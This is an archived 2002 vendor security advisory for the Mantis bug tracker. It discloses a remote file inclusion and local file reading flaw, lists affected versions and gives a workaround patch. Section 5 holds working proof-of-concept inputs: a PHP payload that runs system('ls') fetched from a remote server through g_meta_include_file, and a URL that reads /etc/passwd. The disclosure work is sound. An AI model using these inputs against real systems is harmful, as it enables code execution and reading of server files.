[Mantis Advisory/2002-05] Arbitrary code execution and file reading vulnerability in Mantis

From: Jeroen Latour (jlatourat_private)
Date: Sun Aug 18 2002 - 23:49:32 PDT

  • Next message: Jeroen Latour: "[Mantis Advisory/2002-03] Bug listings of private projects can be viewed through cookie manipulation"

    [Mantis Advisory/2002-05] Arbitrary code execution and file reading 
    vulnerability in Mantis
    
       0. Table of Contents
    
         1. Introduction
         2. Summary / Impact analysis
         3. Affected versions
         4. Workaround / Solution
         5. Detailed explanation
           5.1 Arbitrary code execution
           5.2 Displaying local files
         6. Credit
         7. Contact details
    
       1. Introduction
    
    Mantis is an Open Source web-based bugtracking system, written in PHP, 
    which uses the MySQL database server. It is being actively developed by a 
    small group of developers, and is considered to be in the beta stage.
    
       2. Summary / Impact analysis
    
    Mantis allows the user to configure a file to be included at the top or 
    bottom, a file which contains the CSS stylesheets and a file which contains 
    meta tags. These files are set in default/config_inc2.php, and can be 
    overridden in config_inc.php.
    
    For some obscure reason, config_inc2.php only initialised the variables if 
    it wasn't already set. This means that someone can set either 
    $g_bottom_include_page, $g_top_include_page, $g_css_include_file or 
    $g_meta_include_file using GET/POST parameters, or through a cookie.
    
    Not all of these can be exploited to execute arbitrary code but all of them 
    can be used to read any file on the server readable to the webserver user.
    
    Mantis 0.17.4 removes the isset() checks from default/config_inc2.php and 
    checks whether any of the four variables were set by a user. The latter 
    checks are added to ensure that even when someone has used 
    default/config_inc2.php to set configuration values, this vulnerability 
    will still be closed.
    
    Mantis installations which override all of the four previously mentioned 
    variables in their config_inc.php are not affected.
    Note that an account to the Mantis installation is not required to exploit 
    this vulnerability, as login_page.php and core_html_API.php are vulnerable 
    as well.
    
       3. Affected versions
    
    The following versions are known to be affected:
       Mantis 0.17.3
       Mantis 0.17.2
       Mantis 0.17.1
       Mantis 0.17.0
    
    The following versions are known to be unaffected:
       Mantis 0.17.4a
       Mantis 0.17.4
       Any version below Mantis 0.17.0 (*)
    
    * = Except when the mentioned variables are not initialised anywhere, which 
    shouldn't occur if a seperate config_ing.php file is used.
    
       4. Workaround / Solution
    
    Mantis 0.17.4 removes the isset() checks, and some paranoia checks which 
    prevent this vulnerability.
    All users are recommended to upgrade to this version as soon as possible.
    
    If an upgrade is not possible, the vulnerability can be closed by inserting 
    the following lines in core_API.php:
       if ( isset($HTTP_GET_VARS['g_top_include_file']) ||
         isset($HTTP_POST_VARS['g_top_include_file']) ||
         isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {
         exit;
       }
    
       if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||
         isset($HTTP_POST_VARS['g_bottom_include_page']) ||
         isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {
         exit;
       }
    
       if ( isset($HTTP_GET_VARS['g_css_include_file']) ||
         isset($HTTP_POST_VARS['g_css_include_file']) ||
         isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {
         exit;
       }
    
       if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||
         isset($HTTP_POST_VARS['g_meta_include_file']) ||
         isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {
         exit;
       }
    
       5. Detailed explanation
    
         5.1 Arbitrary code execution
    
    To execute arbitrary PHP code using this vulnerability, an attacker only 
    has to store the PHP code (s)he wishes to execute in a textfile, make this 
    available on a webserver accessible by the Mantis installation and point 
    the $g_meta_include_file or the $g_css_include_file variable to that location.
    
    For example, we create a file with the following content:
       <?php
         system('ls');
         exit;
       ?>
    
    We make this file available on a webserver, for example at 
    http://server.mynetwork.net/listings.txt
    If the Mantis installation does not have access to the internet, the file 
    should be stored on an internal server.
    
    We then point our browser to 
    http://mantis.server.com/mantis/login_page.php?g_meta_include_file=http://server.mynetwork.net/listings.txt
    Any Mantis page that displays something will do. However, login_page.php 
    does not require an account.
    
    This will execute the following call:
       include('http://server.mynetwork.net/listings.txt');
    
    This instructs PHP to download listings.txt and parse it as a PHP script. 
    In this case, the browser should print a file listing of the current directory.
    
         5.2 Displaying local files
    
    It is also possible to view any file available to the web user. The method 
    is more or less the same, although in this case we do not let the server 
    include a file we wrote, but just a local file we specify:
    
    http://mantis.server.com/mantis/login_page.php?g_css_include_file=/etc/passwd
    
    This will display the specified file if the webserver user has permission 
    to read that file.
    
    This vulnerability can be exploited using any of the 4 variables specified 
    in section 2.
    
       6. Credit
    
    This vulnerability was reported by Andrew Johnson and independently by the 
    Debian Security Team.
    
       7. Contact details
    
    The latest version of Mantis is always available from:
         http://mantisbt.sourceforge.net/
    The current version is 0.17.4a, which can be downloaded from
         http://mantisbt.sourceforge.net/download.php3
    
    If you have any questions about this vulnerability, or wish to report 
    another, you can contact the developers at:
         mantisbt-securityat_private
    This is a private mailinglist, readable only by a few developers.
    
    The latest version of this and other advisories can be found at:
         http://mantisbt.sourceforge.net/security.php3
    



    This archive was generated by hypermail 2b30 : Mon Aug 19 2002 - 13:14:06 PDT